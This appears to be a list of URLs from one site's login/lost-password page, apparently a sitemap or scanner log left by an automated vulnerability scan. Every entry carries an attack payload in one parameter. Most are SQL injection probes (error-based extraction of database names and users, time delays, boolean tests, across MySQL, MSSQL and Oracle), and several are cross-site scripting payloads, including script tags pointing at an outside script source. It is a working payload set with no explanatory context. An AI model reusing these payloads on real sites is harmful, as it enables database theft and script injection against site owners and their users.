http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20RLIKE%20(SELECT%20(CASE%20WHEN%20(68=68)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20RLIKE%20(SELECT%20(CASE%20WHEN%20(74=62)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%22%20AND%20%22W2%22=%22yn 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%22)%20AND%2093=34%20AND%20(%22sd%22=%22sd 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25%22%29%20AND%2018%3D35%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25%27%29%20AND%2023%3D23%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25%27%29%20AND%2037%3D37%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25%27%29%20AND%2083%3D42%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25%27%29%20AND%2094%3D19%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND%2012=38%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND%2038=15%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND%2069=69%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND%2073=73%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND%2084=84%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND%2099=84%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0002 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=91)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(16=22)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(17=17)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(25=25)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%2527 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%2527%20AND%2015=15%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%2527%20AND%2054=26%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%5B%5D 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%5C%22 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%5C' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%bf%27 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging&&&&&&&&&&&&&&&&&&& 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%20'6s'='6s 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%20'9b'='9b 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%20'VH'='oq 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%20'Wq'='vo 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%20'ZQ'%20LIKE%20'ZQ 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%20'c1'%20LIKE%20'Bn 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%20'ff'='XQ 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%20'jk'='jk 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20OR%20'o8'='o8'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END))%20AND%20'In'='In 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(13=24)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20'6i'='6i 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(14=57)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END))%20AND%20'uE'='uE 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(41=41)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20'Ae'='Ae 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%22 0.0003 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND%20('66'%20LIKE%20'66 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND%20('sq'%20LIKE%20't1 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND%2012=12%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND%2013=13%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND%2082=49%20AND%20('rC'='rC 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND%2087=34%20AND%20('z5'='z5 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20OR%2063=63%20AND%20('w1'='w1 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(47=41)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END))%20AND%20('9I'='9I 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(76=76)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END))%20AND%20('ZS'='ZS 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(82=97)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20('Yd'='Yd 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(96=96)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20('oH'='oH 